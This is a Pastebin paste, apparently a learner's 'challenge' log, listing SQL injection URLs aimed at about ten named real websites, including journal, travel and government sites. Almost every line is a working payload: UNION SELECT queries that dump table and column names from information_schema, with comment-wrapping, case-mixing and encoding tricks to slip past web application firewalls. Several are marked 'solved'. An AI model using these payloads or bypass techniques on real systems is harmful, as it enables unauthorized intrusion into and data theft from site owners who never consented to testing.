exengg

Challenge 2 Done

May 17th, 2019
466
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.43 KB | None | 0 0
  1. 1.https://www.pixheaven.net/galerie_us.php?id=-22+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9-- - [putting database() fix the vulnerable column]
  2.  
  3. 2.http://www.ijltet.org/journal_details.php?id=898&j_id=-2856+/*!50000UNION+ALL*/+SELECT+1,2,3,4,group_concat(table_name,column_name,'<br>'),6,7,8,9,10,11,12 from information_schema.columns where table_schema=database()-- - [error in group concat]
  4.  
  5. 2 (solved) http://www.ijltet.org/journal_details.php?id=898&j_id=-2856+/*!50000UNION+ALL*/+SELECT+1,2,3,4,/*!12345group_concat(table_name,0x3c62723e,column_name)*/,6,7,8,9,10,11,12 /*!12345from*/ /*!13337information_schema.columns*/ /*!50000where*/ /*!12345table_schema*/=/*!13337database()*/ -- -
  6.  
  7.  
  8. 3.https://www.network.com.ar/popup.php?id=10755&print=1-- - [wtf!! is the site kidding with me]
  9.  
  10. 3 (inject point change) https://www.network.com.ar/popup.php?id=10755' -- -&print=1
  11. 3 (solved) https://www.network.com.ar/novedades_lista.php?categoria=-155 UNION ALL SELECT (/*!%53ELECT*/+/*!50000GROUP_CONCAT(table_name%20SEPARATOR%200x3c62723e)*//**//*!%46ROM*//**//*!INFORMATION_SCHEMA.TABLES*//**//*!%57HERE*//**//*!TABLE_SCHEMA*//**/LIKE/**/DATABASE()) -- -
  12.  
  13.  
  14. 4.https://linuxmint.com/edition.php?id=261' [no error]
  15.  
  16. 4 Not SQLi vulnerable
  17.  
  18. 5.http://www.myanmartraveloperator.com/detail.php?id=-1' union select 3-- - [wap bypass problem]
  19.  
  20. 5 (solved)
  21. http://www.myanmartraveloperator.com/detail.php?id=-1' /*!13337UNION*/ ALL SELECT make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),2,3 -- -
  22.  
  23. 6.http://www.myanmarcherry.com/index.php?a=pck_tour&id=-6 /**/uNIon/**/sEleCt/**/ 1,2,3,4,5,6,7,8,9,10-- - [waf bypass problem]
  24. 7.https://www.socialvisionservices.org/index.php?id=32-- - [fix the error]
  25. 8.http://www.thavibuart.com/special/book_detail.php?id=-1 /*!50000union*/ select 1,2,group_concat(table_name,column_name),4,5,6,7,8,9,10,11,12 from information_schema.columns where table_schema=database()-- - [mod in group-concat]
  26.  
  27. 8 (Mod fix) http://www.thavibuart.com/special/book_detail.php?id=-1 /*!50000union*/ select 1,2,/*!12345group_concat(table_name,0x3c62723e)*/
  28. ,4,5,6,7,8,9,10,11,12 /*!12345from*/ /*!13337information_schema.tables*/ /*!50000where*/ /*!12345table_schema*/=/*!13337database()*/ -- -
  29.  
  30. but try another peram don't know why table_name not showing
  31.  
  32. 9.https://www.notu.or.ug/index.php?id=40'
  33. 10.http://moi.gov.np/content.php?id=263-- -
  34.  
  35. 10 (SQLi patched)
Advertisement
Add Comment
Please, Sign In to add comment